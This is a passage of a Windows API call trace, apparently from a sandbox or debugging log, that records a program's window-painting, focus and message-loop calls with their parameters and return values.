(hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0274.265] GetSysColor (nIndex=8) returned 0x0 [0274.265] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0274.265] GetSysColor (nIndex=5) returned 0xffffff [0274.265] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0274.330] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.331] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.331] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x55040b89, lParam=0x0) returned 0x1 [0274.331] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0274.331] GetSysColor (nIndex=8) returned 0x0 [0274.331] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0274.331] GetSysColor (nIndex=5) returned 0xffffff [0274.332] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0274.389] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.431] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x9040ba4, lParam=0x0) returned 0x1 [0274.431] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0274.431] GetSysColor (nIndex=8) returned 0x0 [0274.431] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0274.431] GetSysColor (nIndex=5) returned 0xffffff [0274.431] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0274.434] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9bc | out: lpRect=0x18e9bc) returned 1 [0274.434] FillRect (hDC=0x3001018c, lprc=0x18e9bc, hbr=0xe100186) returned 1 [0274.434] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3001018c, lParam=0x4) returned 0x0 [0274.435] GetClientRect (in: hWnd=0x1035c, lpRect=0x18ee54 | out: lpRect=0x18ee54) returned 1 [0274.435] FillRect (hDC=0x1b0106ca, lprc=0x18ee54, hbr=0x2f100178) returned 1 [0274.437] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0274.438] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0274.438] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0274.438] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x1, lParam=0x20362) returned 0x1 [0274.439] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x1, lParam=0x20362) returned 0x0 [0274.440] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0274.440] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0274.440] PostMessageA (hWnd=0x2024a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 1 [0274.440] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7, wParam=0x20362, lParam=0x0) returned 0x0 [0274.442] IsWindow (hWnd=0x2024a) returned 1 [0274.442] EnableWindow (hWnd=0x2024a, bEnable=1) returned 1 [0274.442] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0274.442] IsWindow (hWnd=0xc0060) returned 1 [0274.442] EnableWindow (hWnd=0xc0060, bEnable=1) returned 1 [0274.442] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0274.442] SetActiveWindow (hWnd=0xc0060) returned 0x2024a [0274.442] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x0, lParam=0xc0060) returned 0x1 [0274.443] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x0, lParam=0xc0060) returned 0x0 [0274.443] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0274.444] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0274.444] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0274.444] IsIconic (hWnd=0xc0060) returned 0 [0274.445] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18f59c | out: lpRect=0x18f59c) returned 1 [0274.445] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0274.445] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x47, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0274.446] IsIconic (hWnd=0x80042) returned 0 [0274.446] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f59c | out: lpRect=0x18f59c) returned 1 [0274.446] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0274.446] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x47, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0274.447] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x1, lParam=0x2024a) returned 0x1 [0274.448] SetFocus (hWnd=0x10340) returned 0x2024a [0274.448] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x0 [0274.448] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0274.449] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0274.449] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0274.449] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0274.449] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x2024a, lParam=0x0) returned 0x0 [0274.449] GetFocus () returned 0x10340 [0274.449] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0274.450] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0274.450] SetFocus (hWnd=0x1035c) returned 0x10340 [0274.450] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x1035c, lParam=0x0) returned 0x0 [0274.450] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0274.450] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0274.450] SendMessageA (hWnd=0x10340, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0274.450] SendMessageA (hWnd=0x60050, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0274.451] SendMessageA (hWnd=0xb0168, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0274.451] SendMessageA (hWnd=0x40338, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0274.451] SendMessageA (hWnd=0x1035a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0274.451] SendMessageA (hWnd=0x1035c, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0274.451] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1409351904 [0274.451] SendMessageA (hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0274.451] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0274.451] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f684 | out: lpRect=0x18f684) returned 1 [0274.451] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0274.452] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0274.452] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0274.452] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0274.452] IsIconic (hWnd=0xc0060) returned 0 [0274.452] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0274.452] IsIconic (hWnd=0xc0060) returned 0 [0274.452] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0274.452] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0274.452] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0274.452] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0274.452] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7, wParam=0x10340, lParam=0x0) returned 0x1 [0274.452] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0274.453] GetSysColor (nIndex=8) returned 0x0 [0274.453] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0274.453] GetSysColor (nIndex=5) returned 0xffffff [0274.453] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0274.453] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f304 | out: lpdwProcessId=0x18f304) returned 0x8cc [0274.453] GetCurrentProcessId () returned 0x8d0 [0274.453] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0274.453] GetFocus () returned 0x1035c [0274.453] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0274.453] GetKeyState (nVirtKey=18) returned 1 [0274.454] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.454] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.454] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.454] IsIconic (hWnd=0x2024a) returned 0 [0274.454] GetFocus () returned 0x1035c [0274.454] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0274.454] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=893, y=499)) returned 1 [0274.454] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0274.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0274.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0274.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0274.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0274.455] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0274.455] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.455] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.455] GetCapture () returned 0x0 [0274.455] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0274.455] WindowFromPoint (Point=0x37d) returned 0x1035a [0274.455] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0274.455] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0274.455] GetCurrentProcessId () returned 0x8d0 [0274.456] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.456] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0274.456] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xa6017e) returned 0x0 [0274.456] GetKeyState (nVirtKey=18) returned 1 [0274.456] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.456] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.456] DispatchMessageA (lpMsg=0x18ff1c) returned 0x1 [0274.456] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.456] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0274.456] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0274.456] GetSysColor (nIndex=8) returned 0x0 [0274.456] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0274.456] GetSysColor (nIndex=5) returned 0xffffff [0274.456] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0274.461] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0274.461] FillRect (hDC=0x7010b6a, lprc=0x18f41c, hbr=0xe100186) returned 1 [0274.461] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x7010b6a, lParam=0x4) returned 0x0 [0274.461] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0274.461] FillRect (hDC=0x3101018c, lprc=0x18f41c, hbr=0xe100186) returned 1 [0274.461] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3101018c, lParam=0x4) returned 0x0 [0274.462] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f8b4 | out: lpRect=0x18f8b4) returned 1 [0274.462] FillRect (hDC=0x1b0106ca, lprc=0x18f8b4, hbr=0x2f100178) returned 1 [0274.463] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x9010b6c, lParam=0x1035c) returned 0x2f100178 [0274.463] GetSysColor (nIndex=8) returned 0x0 [0274.463] SetTextColor (hdc=0x9010b6c, color=0x0) returned 0x0 [0274.463] GetSysColor (nIndex=5) returned 0xffffff [0274.463] SetBkColor (hdc=0x9010b6c, color=0xffffff) returned 0xffffff [0274.463] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.463] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.463] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.463] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.464] IsIconic (hWnd=0xc0060) returned 0 [0274.464] IsIconic (hWnd=0xc0060) returned 0 [0274.464] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0274.464] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0274.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0274.464] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0274.464] GetSysColor (nIndex=8) returned 0x0 [0274.464] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0274.464] GetSysColor (nIndex=15) returned 0xf0f0f0 [0274.464] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0274.465] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0274.465] GetCurrentProcessId () returned 0x8d0 [0274.465] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0274.465] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0274.465] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0274.465] GetCurrentProcessId () returned 0x8d0 [0274.465] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0274.465] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0274.465] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0274.466] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0274.466] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0274.466] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.467] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.467] WindowFromPoint (Point=0x37d) returned 0x1035a [0274.467] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f0037d) returned 0x1 [0274.467] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.467] GetCurrentProcessId () returned 0x8d0 [0274.467] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.467] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.467] GetCapture () returned 0x0 [0274.467] WaitMessage () returned 1 [0274.527] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.527] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.527] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.527] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.527] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.528] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.528] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.528] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.528] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x22040ba2, lParam=0x0) returned 0x1 [0274.528] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0274.528] GetSysColor (nIndex=8) returned 0x0 [0274.528] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0274.528] GetSysColor (nIndex=5) returned 0xffffff [0274.528] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0274.530] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.530] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.530] WindowFromPoint (Point=0x37d) returned 0x1035a [0274.530] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0274.530] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.530] GetCurrentProcessId () returned 0x8d0 [0274.530] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.530] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.530] GetCapture () returned 0x0 [0274.530] WaitMessage () returned 1 [0274.576] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.576] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.576] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.576] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.577] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.577] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.577] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.577] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.577] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0xe040b99, lParam=0x0) returned 0x1 [0274.577] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0274.577] GetSysColor (nIndex=8) returned 0x0 [0274.577] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0274.577] GetSysColor (nIndex=5) returned 0xffffff [0274.577] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0274.578] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.578] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.578] WindowFromPoint (Point=0x37d) returned 0x1035a [0274.578] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0274.578] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.578] GetCurrentProcessId () returned 0x8d0 [0274.579] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.579] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.579] GetCapture () returned 0x0 [0274.579] WaitMessage () returned 1 [0274.638] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.638] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.638] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.638] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.639] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.639] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.639] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.639] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.639] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x6a040b89, lParam=0x0) returned 0x1 [0274.639] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0274.639] GetSysColor (nIndex=8) returned 0x0 [0274.639] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0274.639] GetSysColor (nIndex=5) returned 0xffffff [0274.639] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0274.640] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.640] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.640] WindowFromPoint (Point=0x37c) returned 0x1035a [0274.640] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f5037c) returned 0x1 [0274.640] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.640] GetCurrentProcessId () returned 0x8d0 [0274.641] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.641] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.641] GetCapture () returned 0x0 [0274.641] WaitMessage () returned 1 [0274.701] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.701] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.701] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.701] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.701] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.701] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.701] WindowFromPoint (Point=0x37d) returned 0x1035a [0274.701] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0274.702] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.702] GetCurrentProcessId () returned 0x8d0 [0274.702] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.702] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.702] GetCapture () returned 0x0 [0274.702] WaitMessage () returned 1 [0274.747] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.747] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.748] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.748] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.748] 